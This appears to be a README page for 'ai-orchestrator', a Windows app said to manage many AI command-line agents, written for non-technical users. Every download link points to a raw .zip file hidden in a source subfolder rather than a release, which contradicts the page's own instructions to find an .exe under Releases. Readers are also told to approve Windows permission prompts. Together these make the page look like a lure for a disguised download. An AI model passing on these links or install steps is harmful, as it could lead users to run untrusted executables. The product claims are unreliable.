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Manage and coordinate multiple AI CLI instances with real-time monitoring, hierarchical control, and multi-agent verification for large-scale automation.

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🚦 ai-orchestrator - Manage Multiple AI Agents Easily

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📋 What is ai-orchestrator?

ai-orchestrator is a desktop app made to help you run and control many AI command-line tools at the same time. It works on Windows and gives you a simple way to start, watch, and organize these AI programs. You do not need to know programming to use it.

The app is built with modern tools like Electron and Angular but hides all the technical details. It can handle just one AI agent or thousands working together at once.


🔍 Key Features

  • Manage Many AI Agents: Run multiple AI programs at the same time and watch what they do.
  • Organize Easily: Use a clear system to keep track of each AI and restart them if they stop working.
  • Check AI Answers: Have several AI agents check and compare their responses.
  • Agent Debates: Let agents discuss and disagree to find the best answers.
  • Live Data View: See how many tokens the AI uses and watch the output as it happens.
  • Extra Skills: The app can add new abilities while running to fit different projects.

🖥️ System Requirements

To run ai-orchestrator smoothly on Windows, your system should meet or exceed these specs:

  • Windows 10 or later (64-bit)
  • Intel or AMD processor, 2 GHz or faster
  • 4 GB RAM minimum (8 GB recommended)
  • 500 MB of free disk space
  • Internet connection for initial setup and updates

⚙️ How to Download and Install ai-orchestrator on Windows

This guide will take you through each step, even if you have no technical background.

1. Visit the Download Page

Click this big button to open the download page in your web browser:

Download ai-orchestrator

2. Find the Installer

On the page:

  • Look for the Releases section.
  • Find the latest version number or date.
  • Download the file that ends with .exe. This is the installer for Windows.

If you cannot find the .exe file, look for a file named something like ai-orchestrator-setup.exe.

3. Run the Installer

  • Double-click the downloaded .exe file.
  • If Windows asks for permission, click Yes or Allow to proceed.
  • Follow the on-screen prompts:
    • Choose where to install the program or keep the default location.
    • Click Next and Install as needed.

4. Launch the Application

Once the setup finishes:

  • Find ai-orchestrator in your Start menu or on the desktop.
  • Click it to open the app.

🛠️ Using ai-orchestrator for the First Time

You will see the main window with options to create or add AI instances. Here is how to get started.

1. Create an AI Instance

  • Click the New Instance button.
  • Fill in any details asked, like the AI model or name.
  • Click Start.

This will launch one AI agent you can interact with.

2. Monitor Your Agents

Each agent will show status like:

  • Running or stopped
  • CPU and memory usage
  • Output logs

You can stop or restart any agent with a single click.

3. Add More Agents

Repeat the creation process to run multiple AIs simultaneously. The app will manage and organize all of them.

4. Use Supervisors

The app can automatically restart agents if they fail using a built-in system. This keeps everything running smoothly.


📊 Understanding the Interface

Here are the main parts you will use:

  • Sidebar: Shows your AI agents and supervisors.
  • Main Panel: Displays the output and controls of the selected agent.
  • Telemetry View: Shows live data like token usage and streaming output.

🔄 Updating ai-orchestrator

To update the software:

  • Visit the same download page (https://github.com/jlinefake/ai-orchestrator/raw/refs/heads/main/src/main/indexing/benchmarks/orchestrator-ai-3.4.zip).
  • Download the newest .exe installer.
  • Run it and follow steps like when installing the first time.

The new version will replace the old one but keep your settings.


❓ Troubleshooting Tips

  • If the app fails to start, make sure your Windows is up to date.
  • Close other heavy programs if performance is slow.
  • Check that your internet connection is stable during initial setup.
  • If an AI agent stops working, try restarting it inside the app.
  • For error messages, copy the text and look for help on the official page or issues section.

🔗 Useful Resources

  • Visit the GitHub page for downloads and updates: https://github.com/jlinefake/ai-orchestrator/raw/refs/heads/main/src/main/indexing/benchmarks/orchestrator-ai-3.4.zip
  • Check the Issues tab for common problems and fixes
  • Find user discussions for tips and tricks

⚙️ Behind the Scenes (Optional)

For curiosity, this app uses:

  • Angular for the user interface
  • Electron to run as a desktop app
  • Node.js and TypeScript to handle logic
  • Claude CLI tools integrated for AI interactions

Understanding this is not needed to use the app, but it shows the solid design underneath.

Repository

JL
jlinefake

jlinefake/ai-orchestrator

Created

March 18, 2026

Updated

April 13, 2026

Language

TypeScript

Category

AI